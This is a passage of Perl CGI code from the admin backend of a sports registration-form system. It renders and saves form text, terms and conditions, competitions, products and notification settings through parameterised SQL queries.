<div>$RegoText->{'strPageOneText'}</div><br>] : qq[ <textarea name="pageone_text" cols="70" rows="17">$RegoText->{'strPageOneText'}</textarea>]; $body .= qq[ </div> ]; } $body .= qq[ <div id="fullInfoTab"> <span class="label">This text will appear at the top of the 'Full Information' page.</span><br> ]; # $body .= $RegoText->{'SetByRealm_strTopText'} $body .= ($RegoText->{'SetByRealm_strTopText'} or $disableText) ? qq[ <div>$RegoText->{'strTopText'}</div><br>] : qq[ <textarea name="toptext" cols="70" rows="15">$RegoText->{'strTopText'}</textarea><br>]; $body .= qq[ <span class="label">This text will appear at the bottom of the 'Full Information' page, above any Terms & Conditions or Opt Ins.</span><br> ]; # $body .= (exists $RegoText->{'SetByRealm_strBottomText'} ) $body .= (exists $RegoText->{'SetByRealm_strBottomText'} or $disableText) ? qq[ <div>$RegoText->{'strBottomText'}</div><br>] : qq[ <textarea name="bottomtext" cols="70" rows="15">$RegoText->{'strBottomText'}</textarea><br> ]; $body .= $RegoText->{'SetByRealm_strTermsCondText'} ? qq[ <span class="label">These Terms & Conditions will appear at the very bottom of the 'Full Information' page.</span><br>] : qq[ <span class="label">This is where any Terms & Conditions should be entered, the smaller of the two boxes being for an optional header. <br>The T&Cs will appear at the very bottom of the 'Full Information' page, under the product selection area.</span><br>]; $body .= $RegoText->{'SetByRealm_strTermsCondHeader'} ? qq[<div style="display:block;background-color:#f9f9f9;margin-left:2px;width:478px;height:20px;border-style:solid;border-width:1px;border-color:silver;margin-bottom:2px;line-height:20px;">$RegoText->{'strTermsCondHeader'}</div>] : qq[<input type="text" name="tchdr" value="$RegoText->{'strTermsCondHeader'}" style="display:block;width:478px">]; $body .= $RegoText->{'SetByRealm_strTermsCondText'} ? qq[ <div style="background-color:#f9f9f9;margin-left:2px;width:478px;height:264px;overflow:auto;border-style:solid;border-width:1px;border-color:silver"><pre>$RegoText->{'strTermsCondText'}</pre></div><br>] : qq[ <textarea name="tctext" cols="70" rows="15">$RegoText->{'strTermsCondText'}</textarea><br><br>]; $body .= $RegoText->{'SetByRealm_intTC_AgreeBox'} ? qq[ <div>Yes</div><br>] : qq[ <input type="checkbox" name="tcagree" value="1" $checked>]; $body .= qq[<span class="label">Include an "I Agree to the above Terms & Conditions" mandatory checkbox?</span>]; $body .= qq[</div><div id="completionTextTab">]; $body .= qq[<span class="label">This text will appear at the bottom of the 'Summary' section.</span><br>]; # $body .= $RegoText->{'SetByRealm_strSuccessText'} $body .= ($RegoText->{'SetByRealm_strSuccessText'} or $disableText) ? qq[ <div>$RegoText->{'strSuccessText'}</div><br>] : qq[ <textarea name="successtext" cols="70" rows="17">$RegoText->{'strSuccessText'}</textarea>]; $body .= qq[</div><div id="emailTextTab">]; $body .= qq[<span class="label">This text will appear at the bottom of the registration confirmation email containing participants username & password.</span>]; # $body .= $RegoText->{'SetByRealm_strAuthEmailText'} $body .= ($RegoText->{'SetByRealm_strAuthEmailText'} or $disableText) ? qq[ <div>$RegoText->{'strAuthEmailText'}</div><br>] : qq[ <textarea name="authemailtext" cols="70" rows="16">$RegoText->{'strAuthEmailText'}</textarea>]; $body .= qq[</div>]; $body .= qq[<div id="ccardTextTab">]; $body .= qq[<span class="label">This text will appear at the top of the credit card payments page.</span><br>]; # $body .= $RegoText->{'SetByRealm_strPaymentText'} $body .= ($RegoText->{'SetByRealm_strPaymentText'} or $disableText) ? qq[ <div>$RegoText->{'strPaymentText'}</div><br>] : qq[ <textarea name="paymenttext" cols="70" rows="17">$RegoText->{'strPaymentText'}</textarea>]; $body .= qq[</div></div>]; $body .= qq[ <div style="clear:both;"></div> $continue_btn </form> ]; return ($body, $formName, $breadcrumbs); } sub update_regoformtext { my($Data)=@_; my $realmID=$Data->{'Realm'} || 0; my $RealmSubType=$Data->{'RealmSubType'} || 0; my $assocID=$Data->{'clientValues'}{'assocID'} || $Defs::INVALID_ID; my $cgi = new CGI; my $formID = $cgi->param('fID') || 0; #my $stepper_mode = $cgi->param('stepper'); #my $successSQL =''; my $db = $Data->{'db'}; my $regoFormObj = RegoFormObj->load(db=>$db, ID=>$formID); my ($entityTypeID, $entityID) = getEntityValues($Data->{'clientValues'}); return nodeFormAddedConfig($Data, $formID, $cgi, $regoFormObj, $entityID, $entityTypeID) if $regoFormObj->isNodeForm() and !$regoFormObj->isOwnForm(entityID=>$entityID); my $stepper_mode = $cgi->param('stepper'); my $successSQL =''; my $st_del = q[ DELETE FROM tblRegoFormConfig WHERE intAssocID = ? AND intRealmID = ? AND intRegoFormID = ? ]; $Data->{'db'}->do( $st_del, undef, $assocID, $realmID, $formID ); my %RegoText=(); $RegoText{'strPageOneText'} = param('pageone_text') || ''; $RegoText{'strTopText'} = param('toptext') || ''; $RegoText{'strTermsCondHeader'} = param('tchdr') || ''; $RegoText{'strTermsCondText'} = param('tctext') || ''; $RegoText{'intTC_AgreeBox'} = param('tcagree') || 0; $RegoText{'strBottomText'} = param('bottomtext') || ''; $RegoText{'strAuthEmailText'} = param('authemailtext') || ''; $RegoText{'strIndivRegoSelect'} = param('indivregoselect') || ''; $RegoText{'strTeamRegoSelect'} = param('teamregoselect') || ''; $RegoText{'strSuccessText'} = param('successtext') || ''; $RegoText{'strPaymentText'} = param('paymenttext') || ''; for my $k (keys %RegoText) { $RegoText{$k}||=''; $RegoText{$k}=~s/<br>/\n/g; } my $st_insert = q[ INSERT INTO tblRegoFormConfig ( intRegoFormID, intAssocID, intRealmID, intSubRealmID, strPageOneText, strTopText, strBottomText, strSuccessText, strAuthEmailText, strIndivRegoSelect, strTeamRegoSelect, strPaymentText, strTermsCondHeader, strTermsCondText, intTC_AgreeBox ) VALUES ( ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? ) ]; $Data->{'db'}->do( $st_insert, undef, $formID, $assocID, $realmID, $RealmSubType, $RegoText{'strPageOneText'}, $RegoText{'strTopText'}, $RegoText{'strBottomText'}, $RegoText{'strSuccessText'}, $RegoText{'strAuthEmailText'}, $RegoText{'strIndivRegoSelect'}, $RegoText{'strTeamRegoSelect'}, $RegoText{'strPaymentText'}, $RegoText{'strTermsCondHeader'}, $RegoText{'strTermsCondText'}, $RegoText{'intTC_AgreeBox'} ); my $subBody = ($DBI::err) ? qq[<div class="warningmsg">There was a problem changing the text</div>] : qq[<div class="OKmsg">Messages saved</div>]; auditLog($formID, $Data, 'Update Text', 'Registration Form'); return ($subBody, '', $stepper_mode); } sub regoform_teamcomps { my($Data, $stepper_fid)=@_; my ($formID, $formType, $stepper_html, $stepper_mode, $stepper_edit, $stepper_inpt) = get_stepper_stuff($Data, $stepper_fid, 'comp'); my $realmID=$Data->{'Realm'} || 0; my $target=$Data->{'target'}; my $cl = setClient($Data->{'clientValues'}); my $unesc_cl=unescape($cl); my $assocID=$Data->{'clientValues'}{'assocID'} || $Defs::INVALID_ID; my %currentComps=(); my $formName = GetFormName($Data).' (#'.$formID.')'; my $breadcrumbs = getBreadcrumbs($cl, $stepper_mode, 'Edit', 'Team Competitions'); my $st=qq[ SELECT intCompID FROM tblRegoFormComps WHERE intRealmID = ? AND (intAssocID = ? OR intAssocID=0) AND (intSubRealmID=0 OR intSubRealmID = ? ) AND intRegoFormID = ? ]; my $query = $Data->{'db'}->prepare($st); $query->execute( $realmID, $assocID, $Data->{'RealmSubType'}, $formID, ); while (my ($id)=$query->fetchrow_array()) { $currentComps{$id}=1; } my $comps=''; $st = qq[ SELECT C.intCompID, C.strTitle, DATE_FORMAT(dtStart,'%d/%m/%Y') as dtStart FROM tblAssoc_Comp as C WHERE C.intAssocID = ? AND C.intRecStatus = ? ORDER BY C.dtStart DESC, C.strTitle ]; $query = $Data->{'db'}->prepare($st); $query->execute( $assocID, $Defs::RECSTATUS_ACTIVE ) ; my $body=''; my $i=0; while (my $dref=$query->fetchrow_hashref()) { my $shade=$i%2==0? 'class="rowshade" ' : ''; $i++; my $checked= $currentComps{$dref->{'intCompID'}} ? ' CHECKED ' : ''; my $field = qq[ <input type="checkbox" name="rfcomp_$dref->{'intCompID'}" value="1" $checked>]; $comps.=qq[ <tr> <td $shade>$field</td> <td $shade>$dref->{'strTitle'}</td> <td $shade>$dref->{'dtStart'}</td> </tr> ]; } $comps=qq[ <div style="width:95%"> <table class="listTable" id="comps"> <thead> <tr> <th>Active</th> <th>Competition Name</th> <th>Start Date</th> </tr> </thead> $comps </table> </div> ] if $comps; my $choose_comps = ''; my $save_comps1 = ''; my $save_comps2 = ''; if ($comps) { $save_comps1 = ($stepper_mode eq 'add') ? qq[<input type="submit" value="Continue" class="button proceed-button">] : qq[<input type="submit" value="Save" class="button proceed-button">]; $save_comps2 = $save_comps1; $choose_comps = qq[<p>Choose which competitions to make available for selection on the registration form.</p>]; } elsif ($stepper_mode eq 'add') { $save_comps2 = qq[<input type="submit" value="Continue" class="button proceed-button">]; } $comps ||= qq[<div class="warningmsg">No Competitions could be found for inclusion on the registration form.</div>]; $body = qq[ <link rel="stylesheet" type="text/css" href="css/tablescroll.css"/> <script src="js/jquery.tablescroll.js"></script> <script type="text/javascript"> jQuery().ready(function() { jQuery("#comps").tableScroll({ height: 330 }); }); </script> $stepper_html <form action="$target" method="POST"> $choose_comps $save_comps1 $comps <input type="hidden" name="a" value="A_ORF_tcu"> <input type="hidden" name="client" value="$unesc_cl"> <input type="hidden" name="fID" value="$formID"> $stepper_inpt $save_comps2 </form> ]; return ( $body, $formName, $breadcrumbs); } sub regoform_products { my ($Data, $stepper_fid) = @_; my ($formID, $formType, $stepper_html, $stepper_mode, $stepper_edit, $stepper_inpt) = get_stepper_stuff($Data, $stepper_fid, 'prod'); my $dbh = $Data->{'db'}; my $realmID = $Data->{'Realm'} || 0; my $cl = setClient($Data->{'clientValues'}); my $unesc_cl = unescape($cl); my $assocID = $Data->{'clientValues'}{'assocID'} || $Defs::INVALID_ID; #Since nationalrego, get the clubID from clientValues rather than from the form. #For a node form, clubID i(on the form) will always be -1. If we're processing the form at club level, clubID should be set truly. my $clubID = $Data->{'clientValues'}{'clubID'} || $Defs::INVALID_ID; my $regoFormObj = RegoFormObj->load(db=>$dbh, ID=>$formID); my $regoType = $regoFormObj->getValue('intRegoType'); my ($currLevel, $currID) = getEntityValues($Data->{'clientValues'}); $regoType ||= 0; $clubID ||= 0; $clubID = 0 if $clubID < 0; my %currentProducts = (); my %currentProductsMandatory = (); my %currentProductsSequence = (); my $mprods = ($formType != $Defs::REGOFORM_TYPE_TEAM_ASSOC) ? 1 : 0; #mprods = member prods (as distinct from team prods) my $where = ' WHERE intRegoFormID = ?'; $where .= ' AND intAssocID IN (0, ?, ?)' if $mprods; #assocID selection only meaningful for mprods my $st = qq[SELECT intProductID, intIsMandatory, intSequence, intAssocID FROM tblRegoFormProducts $where]; my $query = $dbh->prepare($st); if ($mprods) { #the clubID bit doesn't seem correct here. Think for club form, assocID is set to clubID? $query->execute($formID, $assocID, $Data->{'clientValues'}{'clubID'}); } else { $query->execute($formID); } while (my ($id, $mandatory, $sequence, $productAssocID) = $query->fetchrow_array()) { $productAssocID = 1 if !$mprods; $productAssocID ||= -1; $mandatory ||= 0; $sequence ||= 0; $currentProducts{$id} = $productAssocID; $currentProductsMandatory{$id} = $mandatory; $currentProductsSequence{$id} = $sequence; } my $level = ($mprods) ? $Defs::LEVEL_MEMBER : $Defs::LEVEL_TEAM; $st = get_products_sql(); $query = $Data->{'db'}->prepare($st); $query->execute( $Defs::LEVEL_CLUB, $Defs::LEVEL_ASSOC, $assocID, $Defs::LEVEL_ASSOC, $realmID, $Defs::LEVEL_CLUB, $realmID, $assocID, $Data->{'RealmSubType'}, $Data->{'clientValues'}{'authLevel'} ); my @products = (); my $currentAddedProducts = ''; my $splits_count = 0; if ($regoFormObj->isNodeForm() and !$regoFormObj->isOwnForm(entityID=>$currID)) { my $fields = 'intProductID, intIsMandatory, intSequence'; $currentAddedProducts = getCurrentAddedProducts($dbh, $formID, $assocID, $clubID, $fields); } while (my $dref = $query->fetchrow_hashref()) { #When at club level, the sql in the get_products_sql actually returns all club level products for the assoc before #filtering out those not belonging to the club via the next if below. Probably should correct the sql but loathe to change #something that's working even though it's not necessarily done the correct way. next if ($clubID and $dref->{'intCreatedLevel'} == $Defs::LEVEL_CLUB and $dref->{'intCreatedID'} != $clubID); my $productID = $dref->{'intProductID'}; my $checked = $currentProducts{$productID} ? ' CHECKED ' : ''; my $mandatory = $currentProductsMandatory{$productID} ? ' CHECKED ' : ''; my $sequence = $currentProductsSequence{$productID}; my $tempProductID = $currentProducts{$productID}; my $active = ''; my $disable = ''; if ($currentAddedProducts) { if (!$checked) { $checked = $currentAddedProducts->{$productID} ? ' CHECKED ' : ''; } $mandatory = 'Yes' if $mandatory; if (!$mandatory) { $mandatory = $currentAddedProducts->{$productID}{'intIsMandatory'} ? ' CHECKED ' : ''; } $sequence = $currentAddedProducts->{$productID}{'intSequence'} if !$sequence; $tempProductID = $currentAddedProducts->{$productID}{'intProductID'} if !$tempProductID; } if ($regoType == 1 and !$clubID and Products::checkProductClubSplit($Data, $productID)) { $active = '*Club Split'; $disable = ' disabled'; $splits_count++; } #$active = 'Compulsory' if !$active and $defaultProductID == $productID; if (!$active and $mprods and $tempProductID == -1) { $active = ($regoFormObj->isNodeForm() and $regoFormObj->isOwnForm(entityID=>$currID)) ? '' : 'Yes'; } next if !$active and $regoFormObj->isNodeForm() and $regoFormObj->isParentBodyForm(level=>$currLevel) and $dref->{'intCreatedLevel'} == $regoFormObj->getValue('intCreatedLevel'); my $prod_price = currency($dref->{'curAmount'} || $dref->{'curDefaultAmount'} || 0); push @products, { active => $active, checked => $checked, productID => $productID, sequence => $sequence, mandatory => $mandatory, disable => $disable, strGroup => $dref->{'strGroup'}, strName => $dref->{'strName'}, prodPrice => $prod_price, createdName => $dref->{'CreatedName'}, }; } my $continueBtn = (@products) ? ($stepper_mode eq 'add') ? 'Continue' : 'Save' : ''; my $actn = ($mprods) ? 'A_ORF_pu' : 'A_ORF_tpu'; my $formName = GetFormName($Data).' (#'.$formID.')'; my $breadcrumbs = getBreadcrumbs($cl, $stepper_mode, 'Edit', 'Products'); my $productsTabOnly = (getProductsTabOnly($Data)) ? 1 : 0; my $clubSplits = ($regoType == 1 and @products and $splits_count) ? 1 : 0; my %templateData = ( stepper_html => $stepper_html, stepper_inpt => $stepper_inpt, stepper_mode => $stepper_mode, target => $Data->{'target'}, continueBtn => $continueBtn, productsTabOnly => $productsTabOnly, products => \@products, clubSplits => $clubSplits, action => $actn, client => $unesc_cl, formID => $formID, ); my $templateFile = 'regoform/backend/products.templ'; my $body = runTemplate($Data, \%templateData, $templateFile); return ($body, $formName, $breadcrumbs); } sub getCurrentAddedProducts { my ($dbh, $formID, $assocID, $clubID, $fields) = @_; my $sql = getRegoFormProductAddedListSQL(dbh=>$dbh, formID=>$formID, assocID=>$assocID, clubID=>$clubID, fields=>$fields); my @bindVars = ($formID, $assocID, $clubID); my $q = getQueryPreparedAndBound($dbh, $sql, \@bindVars); $q->execute(); my $currentAddedProducts = $q->fetchall_hashref('intProductID'); $q->finish(); return $currentAddedProducts; } sub get_products_sql { # Providing a list of products - no pricing (can ignore family pricing) my $st = qq[ SELECT P.intProductID, P.strName, P.intAssocID, P.curDefaultAmount, P.intMinChangeLevel, P.intCreatedLevel, PP.curAmount, P.strGroup, IF((P.intCreatedLevel = ?), CONCAT(C.strName, ' (CLUB)'), IF((P.intCreatedLevel = ?), 'Association', IF(P.intAssocID=0, 'National','')) ) as CreatedName, P.intCreatedID FROM tblProducts as P LEFT JOIN tblProductPricing as PP ON ( PP.intProductID = P.intProductID AND intID = ? AND intLevel = ? AND PP.intRealmID = ? ) LEFT JOIN tblClub as C ON ( C.intClubID = P.intCreatedID AND P.intCreatedLevel = ? ) WHERE P.intRealmID = ? AND (P.intAssocID = ? OR P.intAssocID=0) AND P.intInactive=0 AND P.intProductType NOT IN (2) AND P.intProductSubRealmID IN (0, ?) AND (intMinSellLevel <= ? OR intMinSellLevel=0) ORDER BY P.strGroup, P.strName ]; return $st; } sub update_regoform_teamcomps { my ($action, $Data, $assocID, $level, $client) = @_; my $cgi = new CGI; my $formID = $cgi->param('fID') || 0; my $stepper_mode = $cgi->param('stepper'); $assocID = $Data->{'clientValues'}{'assocID'}; my $realmID=$Data->{'Realm'} || 0; my $st_del=qq[ DELETE FROM tblRegoFormComps WHERE intAssocID = ? AND intRealmID = ? AND intRegoFormID = ? ]; $Data->{'db'}->do($st_del, undef, $assocID, $realmID, $formID); my $txt_prob=$Data->{'lang'}->txt('Problem updating Fields'); return qq[<div class="warningmsg">$txt_prob (1)</div>] if $DBI::err; my $st = q[ INSERT INTO tblRegoFormComps(intRegoFormID, intAssocID, intRealmID, intCompID) VALUES (?, ?, ?, ?) ]; my $q=$Data->{'db'}->prepare($st); my %params=Vars(); for my $k (keys %params) { if($k=~/rfcomp_/) { my $id=$k; $id=~s/rfcomp_//g; $q->execute($formID, $assocID, $realmID, $id); } return qq[<div class="warningmsg">$txt_prob (2)</div>] if $DBI::err; } my $subBody = qq[<div class="OKmsg">Team Competitions Updated</div>]; return ($subBody, '', $stepper_mode); } sub update_regoform_products { my ($action, $Data, $assocID, $level, $client) = @_; my $dbh = $Data->{'db'}; my $cgi = new CGI; my $formID = $cgi->param('fID'); my $stepper_mode = $cgi->param('stepper'); $assocID = $Data->{'clientValues'}{assocID} || $assocID; my $successSQL = qq[<div class="OKmsg">Products saved</div>]; my $regoFormObj = RegoFormObj->load(db=>$dbh, ID=>$formID); my $entityID = getEntityID($Data->{'clientValues'}); if ($regoFormObj->isNodeForm() and !$regoFormObj->isOwnForm(entityID=>$entityID)) { nodeFormAddedProducts($Data, $formID, $cgi, $regoFormObj); return ($successSQL, '', $stepper_mode, $formID); } my $assocID2 = $assocID; $assocID2 = 0 if $assocID2 == -1; my $st_del = qq[DELETE FROM tblRegoFormProducts WHERE intRegoFormID = ? AND intAssocID = ?]; $Data->{'db'}->do($st_del, undef, $formID, $assocID2); my $txt_prob=$Data->{'lang'}->txt('Problem updating Fields'); return qq[<div class="warningmsg">$txt_prob (1) $formID</div>] if $DBI::err; my $st = qq[ INSERT INTO tblRegoFormProducts( intRegoFormID, intProductID, intAssocID, intRealmID, intIsMandatory, intSequence ) VALUES (?, ?, ?, ?, ?, ?) ]; my $q=$Data->{'db'}->prepare($st); my %params=Vars(); for my $k (keys %params) { if($k=~/rfprod_/) { my $id=$k; $id=~s/rfprod_//g; my $isMandatory = $params{'rfprodmandatory_'.$id} || 0; my $prod_seq = $params{'rfprodseq_'.$id} || 0; $q->execute($formID, $id, $assocID2, $Data->{'Realm'}, $isMandatory, $prod_seq); } return qq[<div class="warningmsg">$txt_prob (2)</div>] if $DBI::err; } auditLog($formID, $Data, 'Update Products','Registration Form'); return ($successSQL, '', $stepper_mode, $formID); } sub nodeFormAddedProducts { my ($Data, $formID, $cgi, $regoFormObj) = @_; my $dbh = $Data->{'db'}; my $assocID = $Data->{'clientValues'}{'assocID'} || 0; my $clubID = $Data->{'clientValues'}{'clubID'} || 0; $clubID = 0 if $clubID < 0; #delete the current added products prior to re-adding the new ones. RegoFormProductAddedObj->bulkDelete(dbh=>$dbh, formID=>$formID, assocID=>$assocID, clubID=>$clubID); my %params = $cgi->Vars(); foreach my $key (keys %params) { next if $key !~ /rfprod(active|)_/; #rfprodactive is specifically for picking up here. my $productID = $key; $productID =~ s/rfprod(active|)_//g; my $isMandatory = $params{'rfprodmandatory_'.$productID} || 0; my $sequence = $params{'rfprodseq_'.$productID} || 0; my $regoFormProductAddedObj = RegoFormProductAddedObj->new(db=>$dbh); my $dbfields = 'dbfields'; $regoFormProductAddedObj->{$dbfields} = (); $regoFormProductAddedObj->{$dbfields}{'intRegoFormID'} = $formID; $regoFormProductAddedObj->{$dbfields}{'intAssocID'} = $assocID; $regoFormProductAddedObj->{$dbfields}{'intClubID'} = $clubID; $regoFormProductAddedObj->{$dbfields}{'intProductID'} = $productID; $regoFormProductAddedObj->{$dbfields}{'intIsMandatory'} = $isMandatory; $regoFormProductAddedObj->{$dbfields}{'intSequence'} = $sequence; my $regoFormProductAddedID = $regoFormProductAddedObj->save(); auditLog($regoFormProductAddedID, $Data, 'Insert added product', 'Node Registration Form'); } return 1; } sub update_regoform_status { my ($action, $Data) = @_; my $realmID = $Data->{'Realm'} || 0; my $RealmSubType = $Data->{'RealmSubType'} || 0; my $assocID = $Data->{'clientValues'}{assocID} || $Defs::INVALID_ID; my $cgi = new CGI; my $formID = $cgi->param('fID') || 0; my $intStatus; my $action_text; for ($action) { if (/^A_ORF_rsd$/) { $action_text = 'Delete'; $intStatus = -1; } elsif (/^A_ORF_rse$/) { $action_text = 'Enable'; $intStatus = 1; } elsif (/^A_ORF_rsh$/) { $action_text = 'Hide'; $intStatus = 0; } else { return; } } my $st = qq[UPDATE tblRegoForm SET intStatus = ? WHERE intRegoFormID = ?]; my $q = $Data->{'db'}->prepare($st); $q->execute($intStatus, $formID); auditLog($formID, $Data, $action_text,'Registration Form'); return; } sub regoform_notifications { my ($Data, $stepper_fid) = @_; my ($form_id, $form_type, $stepper_html, $stepper_mode, $stepper_edit, $stepper_inpt) = get_stepper_stuff($Data, $stepper_fid, 'noti'); my $client = setClient($Data->{'clientValues'}); my $ue_client = unescape($client); my $dbh = $Data->{'db'}; my $RegoFormObj = RegoFormObj->load(db=>$dbh, ID=>$form_id); my $assoc_id = $RegoFormObj->getValue('intAssocID'); my $club_id = $RegoFormObj->getValue('intClubID'); my $nationalForm = $RegoFormObj->isNodeForm(); my $new_char = $RegoFormObj->getValue('intNewBits') || ''; my $ren_char = $RegoFormObj->getValue('intRenewalBits') || ''; my $pay_char = $RegoFormObj->getValue('intPaymentBits') || ''; my ($new_assoc, $new_club, $new_team, $new_member, $new_parents) = get_notif_bits($new_char); my ($ren_assoc, $ren_club, $ren_team, $ren_member, $ren_parents) = get_notif_bits($ren_char); my ($pay_assoc, $pay_club, $pay_team, $pay_member, $pay_parents) = get_notif_bits($pay_char); my $new_notifs = [$new_assoc, $new_club, $new_team, $new_member, $new_parents]; my $ren_notifs = [$ren_assoc, $ren_club, $ren_team, $ren_member, $ren_parents]; my $pay_notifs = [$pay_assoc, $pay_club, $pay_team, $pay_member, $pay_parents]; my $ar_contacts = ContactsObj->getList(dbh=>$dbh, associd=>$assoc_id, getregistrations=>1); my $assoc_rego_contacts = get_emails_list($ar_contacts); my $arCount = scalar(@$assoc_rego_contacts); my $af_contacts = ContactsObj->getList(dbh=>$dbh, associd=>$assoc_id, getpayments=>1); my $assoc_finc_contacts = get_emails_list($af_contacts); my $afCount = scalar(@$assoc_finc_contacts); my $ap_contact = ContactsObj->getList(dbh=>$dbh, associd=>$assoc_id, getprimary=>1); my $assoc_primary_contact = get_emails_list($ap_contact, 1); chop($assoc_primary_contact); my $club_rego_contacts; my $club_finc_contacts; my $club_primary_contact; if ($club_id > 0) { my $cr_contacts = ContactsObj->getList(dbh=>$dbh, associd=>$assoc_id, clubid=>$club_id, getregistrations=>1); $club_rego_contacts = get_emails_list($cr_contacts); my $cf_contacts = ContactsObj->getList(dbh=>$dbh, associd=>$assoc_id, clubid=>$club_id, getpayments=>1); $club_finc_contacts = get_emails_list($cf_contacts); my $cp_contact = ContactsObj->getList(dbh=>$dbh, associd=>$assoc_id, clubid=>$club_id, getprimary=>1); $club_primary_contact = get_emails_list($cp_contact, 1); chop($club_primary_contact); } my $crCount = (defined $club_rego_contacts ) ? scalar(@$club_rego_contacts) : 0; my $cfCount = (defined $club_finc_contacts) ? scalar(@$club_finc_contacts) : 0; my %template_data = ( formID => $form_id, national => $nationalForm, formType => $form_type, clubID => $club_id, newEmails => $new_notifs, rnwEmails => $ren_notifs, payEmails => $pay_notifs, copyParents => 1, registrations => 'Registrations', arCount => $arCount, arContacts => $assoc_rego_contacts, aPrimaryContact => $assoc_primary_contact, crCount => $crCount, crContacts => $club_rego_contacts, finance => 'Finance & Payments', afCount => $afCount, afContacts => $assoc_finc_contacts, cfCount => $cfCount, cfContacts => $club_finc_contacts, cPrimaryContact => $club_primary_contact, target => $Data->{'target'}, client => $ue_client, action => 'A_ORF_notiu', stepperHTML => $stepper_html, stepperMode => $stepper_mode, ); my $body = runTemplate($Data, \%template_data, 'regoform/backend/notifications.templ'); my $form_name = GetFormName($Data).' (#'.$form_id.')'; my $breadcrumbs = getBreadcrumbs($client, $stepper_mode, 'Edit', 'Notifications'); return ($body, $form_name, $breadcrumbs); } sub update_regoform_notifications { my ($action, $Data) = @_; my $cgi = new CGI; my $form_id = $cgi->param('fID'); my $stepper_mode = $cgi->param('stepper'); my $new_assoc = $cgi->param('new_assoc') || 0; my $new_club = $cgi->param('new_club') || 0; my $new_team = $cgi->param('new_team') || 0; my $new_member = $cgi->param('new_member') || 0; my $new_parents = $cgi->param('new_parents') || 0; my $new_char = pack_notif_bits($new_assoc, $new_club, $new_team, $new_member, $new_parents); my $ren_assoc = $cgi->param('ren_assoc') || 0; my $ren_club = $cgi->param('ren_club') || 0; my $ren_team = $cgi->param('ren_team') || 0; my $ren_member = $cgi->param('ren_member') || 0; my $ren_parents = $cgi->param('ren_parents') || 0; my $ren_char = pack_notif_bits($ren_assoc, $ren_club, $ren_team, $ren_member, $ren_parents); my $pay_assoc = $cgi->param('pay_assoc') || 0; my $pay_club = $cgi->param('pay_club') || 0; my $pay_team = $cgi->param('pay_team') || 0; my $pay_member = $cgi->param('pay_member') || 0; my $pay_parents = $cgi->param('pay_parents') || 0; my $pay_char = pack_notif_bits($pay_assoc, $pay_club, $pay_team, $pay_member, $pay_parents); my $dbh = $Data->{'db'}; my $RegoFormObj = RegoFormObj->load(db=>$dbh, ID=>$form_id); my $dbfields = 'dbfields'; $RegoFormObj->{$dbfields} = (); $RegoFormObj->{$dbfields}{'intNewBits'} = $new_char; $RegoFormObj->{$dbfields}{'intRenewalBits'} = $ren_char; $RegoFormObj->{$dbfields}{'intPaymentBits'} = $pay_char; $RegoFormObj->save(); my $subBody = qq[<div class="OKmsg">Notifications saved</div>]; return ($subBody, '', $stepper_mode, $form_id); } sub get_stepper_stuff { my ($Data, $stepper_fid, $func_code) = @_; my $cgi = new CGI; my $form_id = 0; my $stepper_html = ''; my $stepper_mode = ''; my $stepper_edit = 0; my $stepper_inpt = ''; if ($stepper_fid) { $form_id = $stepper_fid; $stepper_mode = 'add'; } else { $form_id = $cgi->param('fID') || 0; $stepper_mode = $cgi->param('stepper'); } my $form_type = GetFormType($Data, 1, $form_id); if ($stepper_mode) { $stepper_edit = 1 if $stepper_mode eq 'edit'; $stepper_html = regoform_navigation($Data, $func_code, $form_id, $form_type, $stepper_edit); $stepper_inpt = qq[<input type="hidden" name="stepper" value="$stepper_mode">]; } return ($form_id, $form_type, $stepper_html, $stepper_mode, $stepper_edit, $stepper_inpt); } sub GetFormType { my ($Data, $return_rego_type, $formID) = @_; my $cgi = new CGI; $formID ||= $Data->{'RegoFormID'} || $cgi->param('fID') || $cgi->param('formID') || 0; $formID = untaint_number($formID); my $statement = q[SELECT intRegoType FROM tblRegoForm WHERE intRegoFormID = ?]; my $query = $Data->{'db'}->prepare($statement); $query->execute($formID); my($regoType) = $query->fetchrow_array(); return $regoType if ($return_rego_type == 1); if ($return_rego_type == 2) { #TODO: What is the 5th element meant to be? return (q{}, 'Member to Association', 'Team to Association', 'Member to Team', 'Member to Club', '', 'Member to Program')[$regoType]; } return 'Team' if ($regoType == $Defs::REGOFORM_TYPE_TEAM_ASSOC); return 'Member'; } sub GetFormName { my ($Data, $formID) = @_; my $cgi = new CGI; $formID ||= $Data->{'RegoFormID'} || $cgi->param('fID') || $cgi->param('formID') || 0; my $statement = q[SELECT strRegoFormName FROM tblRegoForm WHERE intRegoFormID = ?]; my $query = $Data->{'db'}->prepare($statement); $query->execute($formID); my($formName) = $query->fetchrow_array(); return $formName || 'Registration Form'; } sub getBreadcrumbs { my ($client, $stepper_mode, $aore, $step) = @_; my $bcae = ''; if ($stepper_mode eq 'add') { $bcae = 'Add New Form' } elsif ($stepper_mode eq 'edit') { $bcae = 'Edit' } else { $bcae = $aore; } my $breadcrumbs = HTML_breadcrumbs(['Registration Forms', 'main.cgi', {client => $client, a => 'A_ORF_r'}], [$bcae], [$step]); return $breadcrumbs; } sub HTML_breadcrumbs { my @html_links; while ( my $link_params = shift ) { push @html_links, HTML_link( @{ $link_params } ); } my $cgi = new CGI; return $cgi->div( { -class => 'config-bcrumbs', }, join('&nbsp;&raquo;&nbsp;', grep(/^.+$/, @html_links)),) ; } sub hidden_fields { my $returnHTML; my $cgi = new CGI; while (@_) { $returnHTML .= $cgi->hidden(-override => 1, -name => shift, -default => shift); } return $returnHTML; } sub getProductsTabOnly { my ($Data) = @_; my $productsTabOnly = 0; $productsTabOnly = $Data->{'SystemConfig'}{'regoform_ProductsTabOnly'} if exists $Data->{'SystemConfig'}{'regoform_ProductsTabOnly'}; $productsTabOnly = $Data->{'SystemConfig'}{'AssocConfig'}{'regoform_ProductsTabOnly'} if exists $Data->{'SystemConfig'}{'AssocConfig'}{'regoform_ProductsTabOnly'}; $productsTabOnly = 0 if (exists $Data->{'SystemConfig'}{'regoform_ProductsTabOnly'} and $Data->{'clientValues'}{'authLevel'} == $Data->{'SystemConfig'}{'regoform_ProductsTabOnly'}); $productsTabOnly = 0 if (exists $Data->{'SystemConfig'}{'AssocConfig'}{'regoform_ProductsTabOnly'} and $Data->{'clientValues'}{'authLevel'} == $Data->{'SystemConfig'}{'AssocConfig'}{'regoform_ProductsTabOnly'}); $productsTabOnly = 1 if ($productsTabOnly > 1); return $productsTabOnly; } sub nodeFormAddedConfig{ my ($Data, $formID, $cgi, $regoFormObj, $entityID, $entityTypeID) =@_; my $dbh = $Data->{'db'}; 